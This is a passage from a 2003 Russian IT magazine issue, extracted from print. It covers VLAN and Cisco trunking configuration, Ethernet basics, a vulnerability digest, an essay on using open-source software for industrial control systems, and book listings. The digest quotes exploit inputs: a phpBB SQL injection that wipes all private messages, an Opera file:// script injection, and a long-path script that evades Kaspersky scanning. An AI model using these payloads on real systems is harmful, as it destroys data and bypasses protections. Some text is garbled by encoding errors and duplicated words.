Положим, что компьютер из VLAN1 первого коммутатора передает кадр компьютеру из VLAN1 второго коммутатора. Передача кадра будет сопровождаться следующими шагами: Стороной отправителем будет сгенерирован кадр с некоторым адресом получателя (пусть это будет MAC 0200.1111.0002). Коммутатор 1 получает этот кадр. Коммутатор сличает MAC-адрес полученного кадра по таблице адресов первой VLAN. Коммутатор пересылает кадр на свой внешний порт. Коммутатор 2 получает кадр на своем внешнем порту. Далее возможны три альтернативных продолжения.

Коммутатор 2 имеет свой внешний порт в VLAN1. В этом случае он находит в адресной таблице соответствующий MAC-адрес и пересылает кадр получателю.

№3(4), март 2003

Тогда для этого случая маршрутизатор можно настроить таким образом, что, заняв только один его порт, можно обеспечить маршрутизацию между тремя виртуальными сетями: Router>enable Router#config terminal Router(config)interface fastethernet 0.1 Router(config-if)ip address 1.1.1.1 255.255.255.0 Router(config-if)encapsulation isl 1 Router(config)interface fastethernet 0.2 Router(config-if)ip address 1.1.2.1 255.255.255.0 Router(config-if)encapsulation isl 2 Router(config)interface fastethernet 0.3 Router(config-if)ip address 1.1.3.1 255.255.255.0 Router(config-if)encapsulation isl 3 Router(config-if)^Z Router#copy running config start config

Данный пример конфигурирования 100-мегабитного (Fast Ethernet) порта маршрутизатора приводит к тому, что на интерфейсе создается три подынтерфейса (команды interface fastethernet 0.*) с инкапсуляцией ISL (encapsulation isl *, в этой команде указывается номер виртуальной сети, кадры из которой приходят на

85

образование конфигурируемый подынтерфейс) и некоторым ip-адресом (ip address адрес-маска). Процедура настройки транкинга для портов коммутатора несколько отлична от приведенной последовательности команд для маршрутизатора: Switch>enable Switch#config terminal Switch(config)interface module/number Switch(config-if)switchport mode trunk <on|off|desirable|auto|nonegotiate> Switch(config-if)switchport trunk encapsulation <isl|dot1q> Switch(config-if)switchport trunk allowed vlan add|remove vlan_list Switch(config-if)end

В результате порт коммутатора с номером module/number перейдет в режим транкинга и будет обслуживать трафик виртуальных сетей, указанных в списке vlan_list. Несколько ранее упоминалось о транк-протоколе IEEE802.1Q. Этот протокол отличается от ISL только тем, какой заголовок добавляется к кадру. Кроме этих двух методов инкапсуляции существуют еще 802.10 и LANE (LAN Emulation). Òàáëèöà 3. Ìåòîäû òåãèðîâàíèÿ.

Дополнительной особенностью использования виртуальных сетей является VTP – протокол транкинга виртуальных сетей. Этот протокол облегчает администрирование виртуальных сетей, позволяя настраивать свойства VLAN единожды, а не для каждого коммутатора отдельно. Этот протокол распределяет и синхронизирует идентифицирующую информацию о виртуальных сетях по всей коммутируемой сети. Все настройки делаются для одного коммутатора, называемого VTPсервером, и затем они транслируются по всему VTPдомену. Всего существует три режима протокола VTP: Режим сервера (server mode) – серверы VTP имеют полный контроль над созданием и изменением виртуальных сетей в пределах своего домена. По умолчанию коммутаторы находятся в режиме сервера. Для каждого домена необходимо иметь хотя бы один сервер VTP. Режим клиента (client mode) – VTP-клиенты не позволяют администратору создавать, удалять, изменять VLAN. Коммутаторы, находящиеся в этом режиме ожидают информацию, приходящую с сервера и соответственно ей меняют свои настройки. Прозрачный режим (transparent mode) – находясь в этом режиме, коммутатор не передает данных о своих VLAN, и не синхронизирует свои настройки согласно приходящей с серверов информации. В этом режиме на коммутаторе могут быть созданы виртуальные сети, видимые исключительно им.

86

Òàáëèöà 4. Ðåæèìû VTP.

ЛВС, мосты и коммутаторы Наиболее широко распространенной сетевой технологией в настоящее время является технология Ethernet. Поэтому эта часть будет посвящена обсуждению базовых принципов работы этой технологии, а также устройств, используемых при построении сетей Ethernet. Для того чтобы полнее понять суть Ethernet, стоит обратиться к таким архаичным вещам, как спецификации 10Base2 и 10Base5. Эти спецификации определяли физический уровень раннего стандарта Ethernet. В этих сетях не было ни концентраторов, ни коммутаторов, ни патч-панелей – были лишь сегменты коаксиального кабеля, соединявшие одно сетевое устройство с другим. Вследствие того что это была единственная шина, только один электрический сигнал мог распространяться по сети в каждый момент времени. Если же случалось, что в сеть было послано несколько сигналов, то они накладывались друг на друга и переставали быть распознаваемыми. Неудивительно, что был разработан способ передачи данных, учитывающий эту неприятную особенность – в противном случае пользы от таких сетей не было бы вовсе. Алгоритм, известный как CSMA/CD (множественный доступ с контролем несущей и с определением столкновений), определял порядок доступа к среде передачи. В упрощенном виде алгоритм доступа к среде выглядит примерно так: Устройство, имеющее кадры для передачи, прослушивает сеть на предмет ее занятости. Если сеть свободна, отправитель начинает передачу. Во время процесса передачи отправитель продолжает прослушивать сеть, чтобы удостовериться в отсутствии столкновений. Если во время передачи произошла коллизия, передающая сторона случайным образом генерирует интервал ожидания, по истечении которого повторяет первую операцию. Протокол CSMA/CD решает значительное число проблем, однако его использование делает сеть малоэффективной при большом количестве пользователей. Две наиболее негативные особенности протокола заключаются в том, что: Все столкнувшиеся кадры уничтожаются, и их приходится пересылать повторно. Это приводит к росту задержек в сети.

образование Задержка растет также и для станций, ожидающих права на передачу. Поскольку при возрастании количества участников обмена данными по сети трафик сети насыщается, то и время ожидания для каждой станции растет. Разработка спецификации 10BaseT решило часть проблем, связанных с использованием предыдущих версий стандарта. Одним из преимуществ этой технологии стала возможность использования телефонного кабеля, который значительно проще в обращении и дешевле, нежели коаксиальный кабель. Кроме того, использование концентраторов привело к повышению надежности сети, т.к. обрыв одного луча приводил к отключению только одной рабочей станции, в то время как обрыв коаксиального сегмента полностью выводил сеть из строя. Концентратор представляет собой многопортовый повторитель и развивает концепцию 10Base2 и 10Base5. При этом проблема столкновений остается нерешенной. Поскольку все устройства сети имеют равные права на передачу данных и на полосу пропускания сети, подобные сети называются разделяемыми. Несмотря на то что концентраторы решили часть проблем, связанных с прокладкой кабельной системы и надежностью сети, проблема падения производительности при росте числа подключений осталась очень острой. Проблема усугублялась тем, что разделяемые сети представляли собой единый домен коллизий, т.к. передаваемый сигнал ретранслируется всем устройствам сети, за исключением узла-отправителя. Со временем для решения проблем, связанных с использованием алгоритма CSMA/CD были разработаны коммутаторы. Эти устройства не создают единой разделяемой шины – они работают с каждым своим портом, как с отдельной шиной. Кроме того, коммутаторы используют встроенную память для хранения приходящих кадров. Подобная буферизация также помогает предотвратить столкновения: так, если один компьютер сети передает широковещательный пакет, а другой просто пытается переслать пакет какому-либо узлу, то коммутатор может задержать в своем буфере широковещательное сообщение, предотвратив тем самым коллизию. Возвращаясь к истории, коммутаторы 10BaseT привнесли адресацию канального уровня, которая помогает избежать сетевых коллизий. Другими словами – если к порту подключено не более одного устройства, то столкновений в сети не будет. Подводя некий итог сказанному, можно прийти к выводу, что при отсутствии столкновений, отпадает необходимость в той части алгоритма, которая отвечает за их распознавание и предупреждение, а соответственно и полудуплексная передача более не актуальна. Таким образом, коммутаторы, у которых одному порту соответствует не более одного сетевого устройства, допускают полнодуплексный режим, т.е. одновременный прием и передачу кадров. Применение коммутаторов дает следующие преимущества: Не происходит коллизий, а соответственно нет необходимости в повторной трансляции утерянных по этой причине кадров.

№3(4), март 2003

Сетевые устройства не тратят времени на ожидание освобождения среды передачи.

Фактически можно достичь 20 Мб/с, учитывая возможность одновременной двунаправленной передачи данных. Òàáëèöà 5. Íåêîòîðûå îñîáåííîñòè òåõíîëîãèè Ethernet.

Такова краткая история первых двенадцати лет технологии Ethernet.

Сетевая адресация Адресация в вычислительных сетях позволяет оперировать с отдельными устройствами либо с их группами. Unicast-адрес определяет адрес сетевого адаптера одного устройства, подключенного к сети. Для идентификации друг друга станция-отправитель и станция-адресат используют именно эти адреса. (Сам термин Unicast-адрес используется для альтернативы термину «широковещательному адрес» и «групповой адрес»). Комиссия IEEE определяет формат и правила построения сетевого адреса. Согласно этим требованиям каждый сетевой адаптер имеет уникальный MAC-адрес (адрес контроля доступа к среде). Производители встраивают MAC-адреса в сетевые карты обычно в модуле ROM-памяти. Первая половина MAC-адреса идентифицирует фирму-производителя. Эта часть кода, присваиваемая комиссией IEEE каждому производителю, называется уникальным организационным идентификатором (OUI). Вторую половину MAC-адреса присваивает сам производитель. При этом все присваиваемые номера уникальны, т.е. ранее не использовались. Адреса, полученные таким способом, называют еще универсальными или врезанными. Групповые адреса идентифицируют более чем одно сетевое устройство. Различается три типа таких адресов: Широковещательный адрес – наиболее часто используемый класс адресов. Широковещательный адрес имеет значение FFFF.FFFF.FFFF (hex). Он означает, что сообщение предназначается всем узлам сети. Множественный адрес – используется в сетях Ethernet и FDDI и описывает принадлежность кадра некоторой группе сетевых устройств. Этот тип адреса устанавливается программно и имеет вид 0110.5xxx.xxxx. При таком адресе сетевой адаптер будет принимать кадры с адресом назначения от 0110.5000.0000 до 0110.5FFF.FFFF. Такая MAC-адресация используется совместно с протоколом IGMP и IP-multicast.

87

образование Функциональный адрес – применяется только в сетях Token Ring. Используется для идентификации одного или нескольких интерфейсов, предоставляющих те или иные сервисы. Например, адрес С000.0000.0001 используется устройством, работающем в режиме Активного Монитора.

Сетевое кадрирование Ниже приведены различные типы кадров:

Fast Ethernet в значительной степени сохраняет черты своего предшественника: используется метод доступа CSMA/CD, который может быть упразднен при полнодуплексном режиме передачи. В настоящее время существует несколько вариантов кабельных систем для этой технологии: экранированная и неэкранированная витая пара, многомодовое и одномодовое оптоволокно. Кроме того, используются и концентраторы, и коммутаторы, хотя коммутаторы все сильнее вытесняют менее производительные концентраторы. Отличительными от стандартного Ethernet особенностями являются более высокая пропускная способность и возможность автоматического выбора скорости – 10/100 Мб/с и режима передачи – полнодуплексный/полудуплексный режимы.

Gigabit Ethernet также сохраняет черты своих более медленных предшественников, разве что использование концентраторов для подобных сетей практически нонсенс, несмотря на их наличие. Отличительными особенностями этой технологии являются также используемые кабели и методы кодирования передаваемых сигналов. Òàáëèöà 7. Ñòàíäàðòû Ethernet.

Ðèñ. 11. Ôîðìàòû êàäðîâ. Òàáëèöà 6. Ïîëÿ êàäðîâ.

Fast Ethernet и Gigabit Ethernet Эти две технологии, появившиеся на основе Ethernet, позволяют достичь значительно более высоких скоростей передачи. Fast Ethernet находит свое применение в настольных системах, в то время как Gigabit Ethernet чаще используется для обеспечения связей между коммутаторами или серверами.

88

* - áåç ó÷åòà ïîâòîðèòåëåé ^ - îò ñåòåâîãî óñòðîéñòâà äî êîíöåíòðàòîðà/êîììóòàòîðà ~ - ïîëóäóïëåêñíàÿ/ïîëíîäóïëåêñíàÿ ïåðåäà÷à.

Список литературы.

[1] Олифер, Олифер. Компьютерные сети. Принципы, технологии, протоколы: Учебник. – Питер – Санкт-Петербург, 2001.

[2] Odom. W. CCNA Exam 640-607 Certification Guide. – Cisco Press – Indianapolis, 2002.

[3] Леинванд А., Пински Б. Конфигурирование маршрутизаторов Cisco, / перевод с англ. Голубченко А.А. – 2-е издание Вильямс – Москва, 2001.

[4] Еланский. Д. Империя Cisco – Системный администратор, №2, – Москва, 2003. – c. 16-19.

[5] Lammle T. CCNA Study Guide.– 2nd Edition, SYBEX – San Francisco, 2000.

BUGTRAQ SQL Injection в phpBB phpBB – популярная доска объявлений для UNIX- и Windowsсистем. phpBB-пользователь может посылать приватные сообщения другим пользователям. Обнаруженная уязвимость позволяет пользователю удалить текст всех приватных сообщений, сохраненных в системе. Функция для удаления приватных сообщений уязвима к SQL-инъекции. Если мы представляем данные, в которых мы хотим удалить приватное сообщение с номером ‘1) OR 1=1 #’, текст всех сообщений будет удален. Сообщения хранятся в двух таблицах, и SQL-инъекция будет воздействовать только на одну из них, так что будут удалены все тела сообщений, а темы и метаданные будут удалены, если они принадлежат текущему пользователю. Это означает, что темы удаленных сообщений все еще можно обнаружить в папках других пользователей. Когда пользователь нажимает на такое удаленное сообщение, оно будет переадресовано назад к папке. Вы можете эксплуатировать это, отправляя (POST) следующее значение к privmsg.php?folder=inbox*sid = [SID]: mode="" delete="true" mark[]="1) OR 1=1 #" confirm="Yes"

Текущее значение SID можно увидеть в URL-полях, если вы вошли в систему с отключенными куки. Уязвимость обнаружена в phpBB 2.0.3 и более ранние версии. Уязвимость устранена в phpBB 2.0.4.

Переполнение буфера в Locator service в Microsoft Windows 4.0/2000/XP Microsoft Locator service – служба имен, которая позволяет пользователю найти в корпоративной сети других активных пользователей. Сервис поставляется с Windows NT 4.0, Windows 2000 и Windows XP. По умолчанию служба Locator включена только на контроллерах домена Windows 2000 и Windows NT 4.0. В Locator service обнаружена возможность удаленного переполнения буфера. Посылая специально сформированный запрос с Locator service, атакующий может аварийно завершить работу службы или выполнить произвольный код с системными привилегиями. Уязвимость обнаружена в Microsoft Windows NT 4.0, Windows 2000, Windows XP.

Авторизованный доступ в Macromedia ColdFusion MX Уязвимость конфигурации обнаружена в Macromedia’s ColdFusion MX. Удаленному авторизованному пользователю могут неправильно предоставить доступ к файлам в некоторых конфигурациях, использующих NT-идентификацию. Согласно сообщению, когда ColdFusion MX используется совместно с Microsoft IIS, Windows NT Authentication и NTFS file permissions, необходимо конфигурировать IIS, чтобы проверять разрешения файлов перед прохождением запроса к ColdFusionMX. Если это не конфигурировано, то удаленный заверенный пользователь может получить неавторизованный доступ к ColdFusion-шаблонам и каталогам. Уязвимость обнаружена в ColdFusion MX.

№3(4), март 2003

Недостаток в обработке изображений в Opera позволяет обращаться к локальным файлам При исследовании отображения браузером Opera отдельных изображений обнаружено, что Opera не выполняет форматирование представленного URL. Opera автоматически кодирует большинство символов в URL, но почемуто не кодирует URL к локальным файлам (file:// protocol) и поэтому уязвима к канонической форме XSS: file://path/to/image.jpg?">Arbitrary HTML here

И чтобы атакующему было проще эксплуатировать обнаруженную уязвимость, Opera обеспечила простой способ обращения к собственному инсталляционному каталогу – file://localhost/. Так, вместо того, чтобы искать заданные по умолчанию изображения в OS, атакующий может просто сослаться на file://localhost/images/file.gif – одно из немногих изображений, поставляемых с Opera по умолчанию, и наслаждаться следующими возможностями: Читать любой файл на системе пользователя. Читать содержание каталогов на файловой системе пользователя. Читать почтовые сообщения, написанные в M2 – почтовой программе Opera. И много чего еще. Пример: open("file://localhost/images/file.gif?\"><script> alert(location.href);</script>","","");

DoS против «Антивируса Касперского» Обнаружено несколько уязвимостей в «Антивирусе Касперского», которые могут использоваться для DoSатаки и обхода проверки злонамеренного кода. Файловая система NTFS позволяет создавать пути почти неограниченной длины. Но Windows API не позволяет создавать пути длиннее 256 байтов. Чтобы обойти это ограничение, можно использовать в пути к файлу префикс ‘\\?\’ . Это документированная особенность Windows API. Путь длиннее 256 символов приведет к зависанию KAV-службы или заставит ее потреблять 100% ресурсов CPU. Возможно, уязвимость может использоваться для выполнения произвольного кода. Длинный путь может также использоваться для обхода проверки антивирусом. Пример: A=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA mkdir \\?\c:\%A% mkdir \\?\c:\%A%\%A% mkdir \\?\c:\%A%\%A%\%A% mkdir \\?\c:\%A%\%A%\%A%\%A% mkdir \\?\c:\%A%\%A%\%A%\%A%\%A% mkdir \\?\c:\%A%\%A%\%A%\%A%\%A%\%A% echo X5O!P%%@AP[4\PZX54(P^^)7CC)7}$EICAR-STANDARDANTIVIRUS-TEST-FILE!$H+H* >\\?\c:\%A%\%A%\%A%\%A%\%A%\%A%\%A%.com

обратите внимание: SET A=A..A – одна строка!

NTFS файл с именем aux.vbs или aux.com, содержащий злонамеренный код, не будет проверен антивирусом. Уязвимость обнаружена в Kaspersky Antivirus 4.0.9.0 и более ранних версиях.

89

ПОЧЕМУ OPENSOURCE? (ТОЧКА ЗРЕНИЯ РАЗРАБОТЧИКА)

Движение Движение OpenSource OpenSource (под (под движением движением вв данном данном случае случае понимается понимается деятельность деятельность не не только только OpenSourceFoundation, OpenSourceFoundation, но но ии всех всех ее ее сторонников сторонников ии «идеологических» «идеологических» союзников) союзников) вв настоящее настоящее время время носит носит уже уже столь столь массовый массовый характер, характер, что что не не замечать замечать его его просто просто невозможно. невозможно. Перспектива Перспектива использования использования «свободного» «свободного» ПО ПО возникла возникла ии перед перед коллективом, коллективом, на на протяжении протяжении многих многих лет лет занимающимся занимающимся разработкой разработкой ии эксплуатацией эксплуатацией АСУТП АСУТП вв аэрокосмической аэрокосмической области. области. Размышлениями, Размышлениями, результатами результатами ии приобретенным приобретенным вв ходе ходе первой первой попытки попытки использования использования свободного свободного ПО ПО опытом опытом мы мы хотим хотим поделиться. поделиться. Итак, Итак, по по порядку... порядку...

ВЛАДИМИР ПОПОВ

IMHO Цена Да, господа. Время изменилось, и разработка начинается с экономического планирования. АСУТП, к сожалению, не бывают бесплатными, да и просто дешевыми. Для управления технологическим процессом обязательно потребуются УСО (устройства связи с объектом) и, как правило, технологические компьютеры, отличающиеся от ставших уже всем привычными персоналок многим, что потребовалось для достижения большей надежности, и, конечно, ценой. За эти компоненты системы придется платить вне зависимости от того, являетесь вы приверженцем Microsoft или Linux, но разница обнаруживается уже здесь: довольно часто одни и те же пакеты для разных платформ имеют разную цену, и почему-то для Windows NT стоят дороже. Оставим это на совести фирм-разработчиков этих пакетов... Перейдем от ПО специального к ПО широкого назначения, которое в состав комплекса тоже входит, если входят в его состав компьютеры широкого назначения, а это, как правило, так. Здесь, конечно, преимущество за свободным ПО: оно «почти» бесплатно. Надо сказать, что речь идет о суммах не столь уж малых: не Windows-98 придется покупать, а средства разработки. Следующее, что нужно учесть при рассмотрении экономического аспекта проекта, – это зарплата программистов, то есть непосредственных исполнителей. Отметим только, что затраты по этой статье не зависят от того, для какой операционной среды и какими средствами работают эти самые программисты. Сказанное справедливо, по крайней мере, для организаций бюджетных или лишь недавно утративших свой государственный статус. И последнее по поводу финансов. Все вышесказанное – попытка оценить себестоимость, основную составляющую цены, за которую созданный продукт может быть продан. Цена же – оружие в конкурентной борьбе, и не нужно от этого отмахиваться: занятно было видеть, как реагировал партнер «с востока», когда узнал, что при исполнении проекта на Linux необходимый SCADA-пакет обой-

№3(4), март 2003

дется ему в полтора раза дешевле, а для рабочих станций Windows2000 вообще покупать не нужно. Далее...

Мораль А может, обойдемся без покупки лицензионного ПО? Как раньше?... Вот об этом пришлось забыть сразу по нескольким причинам. Во-первых, уровень открытости таков, что очередной гость может оказаться и представителем почтенной Microsoft – вот неловко-то будет... Во-вторых, потому что сделанное даже для себя – все-таки товар, и продать его – мечта любого разработчика, а в такой ситуации использование «пиратского» ПО уже не просто неэтично – недопустимо. В-третьих, стоимость этого ПО в составе комплекса всетаки не является определяющей: чтобы оно не оказалось «ложкой дегтя», отбросим сомнения: восторги по поводу «доступности» коммерческого ПО на просторах пост-СССР оставим старшеклассникам и постараемся «играть» по общепринятым в мире правилам, хотя бы в области собственных разработок. А на офисные компьютеры глаза закроем, будем полагать: пока. Да и не только моральный аспект следует принимать во внимание, предполагая использование нелицензированного ПО: 400 млн.долларов прямых убытков Украины после введения санкций за нарушение прав интеллектуальной собственности впечатляют. Итак, размышления для нас закончились тем, что, по крайней мере, оценить возможность использования свободного ПО при создании задуманного комплекса – стоит. Приступим...

Первые впечатления. Возможности По-прежнему предметом изложения будет только личный опыт. Для начала можно отметить одно обстоятельство: в ОС для технологических компьютеров отчего-то легче угадывается родство с Unix-клоном, нежели с Microsoft Windows. Удивительного в этом ничего нет, если принять во внимание историю развития вычислительной техники последних 20-ти лет, но для «неофитов» от Microsoft может показаться странным, что OS9000 для

PowerPC имеет больше общего с Unix, чем с MSDOS. Другими словами, стремление сузить количество используемых операционных систем «подталкивает» скорее к Unix, нежели к Microsoft Windows. Во-первых, нам предстояло выбрать ОС для рабочих станций. Выбор, как выяснилось, достаточно широк: Linux, FreeBSD и т. д. Все названные ОС, как и их антиподы из мира коммерческого ПО, являются ОС общего назначения. На другое мы, собственно, и не рассчитывали, но было приятной неожиданностью узнать, что лидер по популярности среди свободных ОС – Linux – имеет как минимум две реализации, ориентированные на работу в условиях реального времени: RT Linux и KURT. Функционально аналогичные расширения сущес твуют и для Windows NT, но... не бесплатные, как вы уже догадались. Но это к слову: наши требования к ОС для рабочих станций не выходили за пределы возможностей любой из названных ОС. Быть может, чуть заманчивее выглядел Linux: чего только на нем не делают... И роботы, и PDA, и коммуникационное оборудование... И почти все это можно посмотреть... Заманчиво. Пробуем Linux! Прежде всего нас интересовали коммуникационные возможности. Как и следовало ожидать, все сетевые средства Unix оказались в нашем распоряжении. А средства эти многого стоят. Несмотря на все старания Microsoft связать свое имя с сетями, у специалистов последние ассоциируются все-таки скорее с Unix. Достаточно вспомнить попытки противос тояния MicrosoftNetInternet, NetBEAU-TCP/IP, и можно смело предположить, что на коммуникационные средства Unix положиться можно. Что мы и сделаем. Далее для нашего комплекса нужна была сетевая СУБД: не слишком сложная (откуда сложные запросы в АСУТП?), хорошо адаптированная к использованию в сети и с минимальным временем обработки запросов. Вряд ли хорошим кандидатом на эту роль можно считать Microsoft SQL: довольно высокие аппаратные требования, абсолютные требования к платформе серве-

91

IMHO ра, неважные отзывы о скоростных характеристиках. Что же касается визуальных средств генерации форм и запросов, то почему-то они нас не заинтересовали. Лидер рынка, Oracle, также не стал нашим выбором, хотя его SQL-сервер уже готов был работать на любой платформе, включая Linux. Не оставляло ощущение, что мы будем «стрелять из пушки по воробьям». Среди представителей свободного ПО наше внимание привлек MySQL. Скромные размеры, популярность в качестве SQLсервера в Интернет, работает на всех платформах. Даже недостатки его в нашем случае выглядели достоинствами: неумение работать с так называемыми record-set-ами, как и некоторые другие «изъяны», оказались нам совершенно не нужны: высокая реактивность и компактность, которые вряд ли бы выиграли от расширения возможностей сервера, для нас были значительно важнее. Открытый код позволяет написать интерфейс к этой СУБД практически для любой вычислительной системы, в которой есть Скомпилятор и которая умеет работать с TCP-сокетами (обязательно сделаем это для OS9000). Популярность в Интернете сделала свое дело: на www.mysql.com, кроме API для ansi «C», написанного разработчиками самого сервера, можно обнаружить API для «С++», Java, а для Perl – даже несколько, с разными скоростными характеристиками, написанными независимыми разработчиками. Масса средств редактирования и администрирования: от консольных, принадлежащих перу авторов, до графических для любых платформ, включая Microsoft Windows. Есть и средства доступа через веб-интерфейс (как раз это мы предполагали разработать для удаленного контроля с компьютеров, не являющихся частью сетевого сегмента комплекса). Одним словом, «глаза разбегаются». Пожалуй, и этот выбор мы сделали. Наверное, можно было бы и не рассказывать, что когда нам потребовался http-сервер для организации удаленного администрирования через веб-интерфейс, мы использовали Apache – самый популярный

92

http-сервер в Интернете. Хотя пробовали и thttpd, заинтересовавшись его скоростными возможностями: действительно – быстро. Только когда дошло до вывода таблиц объемом в сотни килобайт, что-то наш thttpd «засбоил» и, не желая терять время на выяснение в общем-то второстепенных для нас деталей, мы вернулись к Apache. Теперь предстояло определиться со средствами реализации графического интерфейса АРМ рабочих станций. И здесь свободное ПО оказалось на высоте. XFree86 если и уступает MS Windows, то только в скорости графического вывода и количестве поддерживаемых видеокарт. Что касается второго, то действия производителей видеоадаптеров, снабжающих свои изделия прежде всего драйверами для самой распространенной ОС для десктопов, естественны. Что же до скорости, то сравнение несколько некорректно: сравнивать нужно исключительно с Windows NT, а еще точнее – с ее терминальным сервером, поскольку XFree86 – сервер, действительно способный обслуживать сразу несколько клиентов: десктопов или сетевых станций. Признаться, мы были приятно удивлены. Вопервых, количес твом доступных оконных менеджеров (а именно они определяют вид и возможности десктопов в X-Window), во-вторых, их качеством (очень трудно найти возможнос ти, которые имели бы Microsoft Windows, но не имели бы последние версии KDE или Gnome, зато обратное возможно, и это, прежде всего, возможнос ти настройки), в-третьих, количеством так называемых «тем» (сам менеджер обычно определяет возможности десктопа, внешний же вид – функция темы). Однако мы увлеклись: для нашей задачи нас интересовали практически только возможности настройки поведения окон и системы управления (меню, инструментальные панели и т. п.). Здесь мы остановили свой выбор на IceWM: одном из самых «аскетичных», но в то же время быстрых и надежных оконных менеджеров. Большего, признаться, мы не могли желать: большинство из известных вариантов по-

ведения окон («всплывание», «скрывание», вывод на «передний план», «активность» в зависимости от положения указателя мыши или кликов (разными бутонами и разное количество раз), или действий приложения); поддержка трех бутонов мыши, «колесика» (scroll); множество десктопов; абсолютно настраиваемые меню и инструментальная панель. На последнем хочется остановиться подробнее: фактически, мы получили заготовку для «заглавного» окна нашего АРМ, поскольку ни единого элемента, заданного не нами на экране, просто не было. Более того, пользователь оказался практически лишен возможности изменить настройки десктопа или выполнить команду, кроме тех, которые предлагает ему АРМ. Наверное, кому-то такой подход к пользователю покажется «иезуитским», но поверьте: ограничение возможности ошибки оператора весьма и весьма насущная задача для АСУ. Похоже, все необходимое мы нашли. Можно было переходить к реализации, что и было сделано.

Работа Прежде всего мы определились со средствами программирования: в нашем распоряжении были С, С++ и Perl. Конечная реализация на C/C++ сомнениям в общем-то не подвергалась, а вот «макетирование» с использованием Perl интересно было попробовать. Впервые в наших руках был интерпретатор, имеющий доступ практически ко всем возможностям ОС, допускающий объектную ориентацию и довольно близкий по синтаксису к С. Коммуникационные, впрочем, и все другие возможности ОС доступны из Perl через общие с С библиотеки. API к MySQL – аналогичны. Что же касается графических библиотек Tk и Gtk (мы использовали только эти), то модуль Gtk-Perl делает возможными обращения к собственно объектной библиотеке Gtk, а модуль Perl-Tk имеет даже собственные расширения этой весьма популярной в мире Unix-графической библиотеки. Одним словом, все необходимое было налицо и мы не обманулись в своих ожиданиях.

IMHO Справедливости ради нужно сказать, что среди средств разработки под Linux существуют интегрированные среды, ставшие привычными в последнее десятилетие стараниями, прежде всего, Borland и Microsoft, однако мы их пока не использовали, поэтому и не упоминаем. А вот некоторые другие моменты упомянуть необходимо. Во-первых, это вопрос документации. Слухи об исчерпывающей документированности Linux не оказались преувеличением. Скорее наоборот: документации слишком много, что не облегчает поиск. Беда в том, что желающих написать и опубликовать в Сети тот или иной документ оказывается больше, чем желающих изъять устаревший, неполный или уже неактуальный более (в силу появления новых) документ. Тем более, что это все-таки прерогатива автора, который, не исключено, на настоящий момент уже и забыл о собственном детище. Издержки свободы? Возможно, но это все-таки лучше, чем отсутствие документации. Можно возразить, что MSDN – тоже весьма обширный источник информации, но различие в информации о том, «какие API-вызовы нужно использовать» и «как именно реализована эта функция и почему ее лучше использовать именно так» все-таки заметны. О цене «Microsoft Developer Network Library» я вообще умолчу... Во-вторых, безусловно, приятно ощущать дух сотрудничества, всегда присутствующий в общении разработчиков OpenSource. Благодарность предшественникам, присутствующая в любом readme, сопровождающем пакет свободного ПО, не только «хороший тон» – это, как правило, благодарность искренняя и небезосновательная. CPAN, freshmeat, SourceForge – прекрасные иллюстрации этому. Буквально «горы» ПО с открытым исходным кодом, отсортированные, часто прекрасно документированные и буквально «пропитанные» духом сотрудничества. В-третьих, часто, хотя, наверное, не всегда, это высокий профессионализм. Представить свой код на всеобщее рассмотрение можно или будучи вполне уверенным в его до-

№3(4), март 2003

стоинствах, или не отдавая себе отчет в собственной некомпетентности. Второе, конечно, не исключается, но все-таки, скорее, исключение, чем правило: что-то я не слышал о программистах-графоманах. Наверняка, наше знакомство со средствами разработки, являющимися ПО с открытым кодом, не позволяет судить о состоянии этого сектора индустрии «в целом», но понравившиеся продукты хочется назвать. Это прекрасные компиляторы gnu C и C++; поражающий своей продуманностью и модифицируемостью редактор vim; интерпретатор, способный соперничать в скорости с откомпилированными задачами, – Perl; охватывающая, кажется, все возможности программирования в графической среде библиотека Tk, и изысканная, даже авангардная Gtk. Мы не перечисляем «исконные» программы Unix, такие как grep или diff, поскольку они не являются частью исключительно свободного ПО, но признаем, что наличие этих программ в свободных ОС, безусловно, их сильная сторона.

Результат Как, собственно, следует из изложения, он положителен. Мы считаем

опыт использования свободного ПО для разработки комплексов АСУТП удавшимся. Последняя особенность, которую мы вполне оценили только на последнем этапе – это командный язык, позволивший посредством создания очень простых командных файлов объединить независимые части комплекса, скрыть от оператора сложность некоторых действий, а привязав эти файлы к процессу загрузки и используя возможности демонов периодического запуска, мы придали системе иллюзию «автоматичности». Эти возможности опять-таки не являются прерогативой Linux и свободных ОС вообще: все это достоинства Unix, но не остановись мы на Linux, эти достоинства так и остались бы для нас известными только понаслышке. Одним словом, так как когда-то мы перешли от RSX и RT к продуктам Microsoft, так сейчас склонны расстаться с последними в пользу свободного ПО. Тому много оснований: экономических и идеологических, политических и технических, ни одно из которых не является, правда, определяющим. Но попробовать стоит. У нас получилось.

93

книжная полка Во втором, улучшенном и обновленном издании книги, посвященной новой технологии информационной безопасности – обнаружению атак, систематизируются разрозненные данные о приемах совершения атак, исследуются различные критерии атак и признаки их обнаружения, источники информации об атаках и методы их анализа. Приведена подробная классификация систем обнаружения атак с примерами конкретных отечественных и зарубежных решений. Рассматриваются критерии выбора систем обнаружения атак для различных групп потребителей, имеющих разные приоритеты при построении инфраструктуры обнаружения атак. Большое внимание уделено практике эксплуатации систем обнаружения атак, включая вопросы их установки и размещения. Впервые сведены воедино и описаны недостатки существующих средств обнаружения атак и способы их преодоления.

ISBN 5-94157-246-8, 608 стр

В книге обсуждаются вопросы профессиональной разработки приложений в Borland Delphi 7 и особое внимание уделяется практике программирования. Представлено детальное описание объектной концепции, стандартных и программных технологий, используемых при работе программистов. Значительная часть материала посвящена разработке приложений, базирующихся на широко используемых и перспективных технологиях доступа к данным: ADO, dbExpress, InterBase Express. Распределенным многозвенным приложениям и технологии DataSnap также отведено достойное место. Все рассматриваемые в этой книге темы сопровождаются подробными примерами, которые помогут быстро освоить данный этот язык программирования.

ISBN 5-94157-116-Х 784 стр.

